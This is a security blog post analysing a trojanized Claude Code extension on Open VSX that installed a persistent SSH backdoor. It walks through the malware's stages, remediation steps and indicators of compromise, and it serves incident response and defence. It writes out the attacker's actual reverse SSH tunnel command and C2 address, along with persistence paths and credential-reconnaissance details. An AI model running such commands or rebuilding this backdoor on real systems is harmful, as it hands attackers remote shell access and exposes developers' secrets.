A Trusted AI Tool Was Weaponised: Inside the Trojanized Claude Code Extension Attack

Published 30 October 2026

I have spent the last decade working inside the security operations of AI tooling. Supply chain attacks on developer extensions are the fastest-growing threat vector I see. On October 30, 2026, that growth curve got steeper by a lot.

Security researchers at OpenSourceMalware revealed that version 2.1.313 of the anthropic.claude-code extension, distributed through the Open VSX registry, shipped with a 66-line loader prepended to its entry point. That loader turns any developer machine that loads the extension into a persistently accessible SSH backdoor. The key word here is “persistently.” It does not wait for you to start a Claude conversation. It fires the moment VS Code activates the extension at startup.

But the headline that matters more than the technique is a nuance the early reporting has not always respected. The malicious artifact was confirmed on Open VSX only. Anthropic has not issued a public statement, and the evidence does not establish that the company’s official Microsoft VS Code Marketplace release was compromised. How the attacker got publishing access to the Open VSX namespace remains unknown. That distinction is not academic. It determines what you do next.

Technical Breakdown: Six Stages of the Attack

The trojanized package prepends an Immediately Invoked Function Expression (IIFE) to extension.js. This runs before the legitimate code loads, and nearly every exception is suppressed so the real extension keeps working normally. The IIFE executes six discrete phases, mapped to MITRE ATT andamp;CK techniques:

1. Zero-Interaction Execution

The malicious code runs immediately upon VS Code loading the extension, not when a Claude conversation begins. This placement ensures infection even if a developer never interacts with Claude through the extension. All errors are caught and suppressed.

2. Host Reconnaissance

Within 1.5 seconds of execution, the loader gathers:

  • Hostname and local username
  • Operating system and CPU architecture
  • Home directory and current working directory
  • Global Git email from git config --global user.email
  • Names of up to 40 environment variables containing KEY, TOKEN, SECRET, PASS, AWS, or GCP

Variable values are not sent in the initial beacon, but cataloguing credential variable names lets attackers prioritise high-value targets for interactive exploitation through the SSH tunnel.

3. SSH Backdoor Installation

The loader appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys with the deceptive comment svc-telemetry. The key fingerprint is SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.

It then attempts to enable SSH on the victim machine:

  • macOS: checks Remote Login and runs sudo -n systemsetup -setremotelogin on
  • Linux: queries sshd with systemctl and tries service-start commands
  • Windows: uses PowerShell to install OpenSSH Server and start sshd

4. Reverse SSH Tunnel

The script decodes an embedded base64 private key into a temp file and launches:

ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225

This asks the attacker’s server to allocate a port and forward connections back to port 22 on the victim. The connection disables host-key verification, ignores known hosts, uses the embedded identity exclusively, and reconnects every 60 seconds via autossh or ssh.

5. Platform-Specific Persistence

The malware plants persistence hooks that survive reboots:

  • macOS: ~/Library/LaunchAgents/com.apple.sysmond.plist with RunAtLoad and KeepAlive, plus ~/.config/.smt and ~/.config/.smtk helper scripts
  • Linux: ~/.config/.smt and ~/.config/.smtk with an @reboot crontab entry
  • Windows: Scheduled task named SysMon running as SYSTEM, with fallback to sysmon.cmd in the Startup folder

6. HTTP Beacon

After the tunnel is established, the loader sends a reconnaissance beacon via unencrypted HTTP to http://134.209.82.225:8099/beacon and http://127.0.0.1:8099/beacon. The response is discarded. No secondary payloads are downloaded.

Factual Claims vs. Confirmed Findings

DimensionInitial Alarming ClaimsVerified Findings
Affected Registries Anthropic’s official distribution compromised across all channels Open VSX confirmed only. Open VSX removed version 2.1.313; the Microsoft VS Code Marketplace release was not confirmed malicious. Anthropic has not issued a public statement.
Publisher Igor Kofman (Anthropic employee) account compromised Unconfirmed. The registry namespace is owned by Igor Kofman, an Anthropic employee, but the root cause is unknown. Bloom Security disclosed CVE-2026-13323, a stored XSS flaw on Open VSX’s unpkg endpoint that could mint a persistent personal access token by enticing a logged-in maintainer to click a link. Whether this specific incident used that vector, phishing, or a leaked token is not established.
Victim Reach Thousands of developers silently compromised No confirmed secondary victims. No confirmed instances of follow-on exploitation have been reported.
Registry Response Passive observation Takedown executed. Open VSX delisted version 2.1.313. A clean 2.1.314 was published at 01:07 UTC on October 30, 2026. The Eclipse Foundation is accelerating pre-publication scanning for impersonation, embedded secrets, and known malicious patterns.

Why This Matters: The Pattern Behind the Incident

This is not an isolated event. It is the latest in a sequence of supply chain compromises that follow the same playbook: steal or forge a publishing credential, push a poisoned extension version, let auto-update distribute it before anyone notices.

The Nx Console incident (May 2026) set the template in motion. Attackers compromised a GitHub contributor token stolen during the earlier TanStack npm supply chain attack, planted a malicious commit in the official Nx repository, and published a poisoned VS Code extension (v18.95.0) with a verified publisher badge. That version was live on Open VSX for 36 minutes and on the Microsoft Marketplace for 11 minutes before being pulled. The payload harvested GitHub tokens, AWS keys, HashiCorp Vault tokens, and SSH keys from disk and memory. One victim machine belonged to a GitHub employee, leading to the exfiltration of roughly 3,800 internal repositories.

Before that, the GlassWorm attack (October 2025) used invisible Unicode variation selectors in JavaScript to hide malicious code inside extensions on both Open VSX and the Microsoft Marketplace, stealing developer tokens and deploying SOCKS proxies and hidden VNC servers. The Shai-Hulud worm family turned this into a repeatable cycle: steal a token, publish a poisoned release, harvest more tokens from everyone who installed it, and repeat.

Open VSX’s security posture explains why these attacks keep landing there. Registration requires nothing more than a GitHub OAuth login. The registry historically did not scan for impersonation or embedded secrets before publishing. Bloom Security demonstrated that an attacker could register a publisher account, upload a VSIX containing a crafted HTML payload, and use the unpkg file-serving endpoint to execute session hijacking in the browser of any authenticated maintainer who clicked a link – minting a persistent personal access token on the spot.

That vulnerability (CVE-2026-13323) has now been patched, and the Eclipse Foundation is rolling out pre-publication checks and trusted publishing based on short-lived OIDC tokens. But the damage window matters. By the time a registry adds scanning, the next attacker has already found the next credential to steal.

What Developers and Security Teams Should Do Now

  1. Remove the extension. Uninstall anthropic.claude-code if you obtained it through Open VSX. Install from the official Microsoft VS Code Marketplace instead, or directly from Anthropic’s verified source.
  2. Audit SSH configurations. Check ~/.ssh/authorized_keys for any entry referencing svc-telemetry or the key fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. Delete the line if found.
  3. Eradicate persistence artifacts.
    • macOS: Delete ~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, and ~/.config/.smtk
    • Linux: Delete ~/.config/.smt and ~/.config/.smtk, and remove the @reboot entry from crontab -e
    • Windows: Remove the SysMon scheduled task via schtasks /delete /tn SysMon, and delete sysmon.cmd from the Startup folder
  4. Block C2 infrastructure. Add firewall rules blocking outbound traffic to 134.209.82.225 on ports 22 and 8099. Search endpoint logs for connections to that IP.
  5. Rotate credentials. Treat all environment variables and local secrets as potentially compromised. Rotate cloud credentials (AWS, GCP, Azure), GitHub/Git tokens, API keys, and SSH keys from a known-clean machine.
  6. Rebuild affected hosts. Because the reverse SSH tunnel grants interactive shell access, the attacker could have deployed secondary payloads, modified system files, or accessed credentials in memory. Re-imaging is the only way to guarantee a clean state.

Indicators of Compromise

IndicatorTypeValue
Claimed PackageExtension ID + VersionExtension anthropic.claude-code, version 2.1.313
C2 IP AddressNetwork134.209.82.225
HTTP BeaconNetworkhttp://134.209.82.225:8099/beacon and http://127.0.0.1:8099/beacon
SSH Key CommentAuthsvc-telemetry
SSH Key FingerprintAuthSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
Extension HashFileecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 (extension.js)
Tunnel Key HashFile7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
macOS PersistenceFile~/Library/LaunchAgents/com.apple.sysmond.plist, ~/.config/.smt, ~/.config/.smtk
Linux PersistenceFile~/.config/.smt, ~/.config/.smtk, @reboot crontab entry
Windows PersistenceFileSysMon task, ~/.config/smt.cmd, sysmon.cmd in Startup
Temp FileFile${TMPDIR}/.stk_*

Related Reading

Sources

  1. Paul McCarty (6mile), “Trojanized Claude Code Extension Plants an SSH Backdoor”, OpenSourceMalware, October 30, 2026. https://opensourcemalware.com/blog/trojanized-claude-code-extension-plants-persistent-ssh-backdoor
  2. Adnan Khan, “Supply chain security incidents”, pwn.watch, October 30, 2026. https://pwn.watch/t/supply-chain
  3. Ryan Merket, “Trojanized Claude Code extension on Open VSX planted a persistent SSH backdoor”, RuntimeWire, October 30, 2026. https://runtimewire.com/article/trojanized-claude-code-extension-open-vsx-ssh-backdoor
  4. Bloom Security, “One click to take over every extension on Open VSX”, October 2026. https://bloom.security/blog/extension-possession-one-click-to-take-over-every-extension-on-open-vsx
  5. Kate Holterhoff, “The Artifact is Free, Assurance is the Product”, RedMonk, August 13, 2026. https://redmonk.com/kholterhoff/2026/08/13/the-artifact-is-free-assurance-is-the-product/
  6. Alpha-Omega, “Strengthening supply-chain security in Open VSX”, January 2026. https://alpha-omega.dev/blog/strengthening-supply-chain-security-in-open-vsx/
  7. Eclipse Foundation, “Trusted Publishing”, Open VSX Wiki. https://github.com/eclipse-openvsx/openvsx/wiki/Trusted-Publishing
  8. Open VSX, “Extension Scanning”, GitHub Wiki. https://github.com/eclipse-openvsx/openvsx/wiki/Extension-Scanning

The supply chain is not just a software problem. It is a trust problem. The moment we stop asking who published something and start trusting that the registry vetted it, we have already lost the advantage.

How this analysis is researched, sourced and corrected: Editorial standards and corrections. Spotted an error? Contact Philip Hall.

Subscribe

Related articles

AI Agents Are Trading Secrets for Help. That Is a Security Architecture Problem

New research shows AI coding agents can leak secret tokens and run untrusted scripts when other agents offer help. The lesson is architectural: keep secrets out of agent runtime.

AI Agents Are Hunting Exposed Secrets, and Businesses Are Exposed

Microsoft says threat actors are now using agentic AI tooling to find and abuse exposed secrets, a warning that matters to any business using cloud or AI tools. The immediate job is simple, tighten secret storage, rotation and access controls before an exposed token turns into a breach.

CrowdStrike’s AI Agent Kill Switch Is a Sign of the Times

CrowdStrike is moving hard on enterprise AI security, buying Fiddler AI and Dreadnode while also giving security teams a kill switch for rogue agents. That matters because many businesses are deploying AI faster than they can control it.

DEBATE: Will AI End Capitalism in 2 Years? The Ex-Google Prediction Dividing the World

A former Google X executive predicts AI will end capitalism in 2 years. I dug into the actual data. The answer is more complicated than either side wants to admit.
Philip Hall
Philip Hall
Philip Hall is a Sydney-based Cyber AI and Automation leader with more than 30 years of technology experience and a career in cyber security dating back to 2008. His work spans cyber architecture, cloud security, threat intelligence, assurance, incident support, AI-enabled defence and the security of autonomous agents.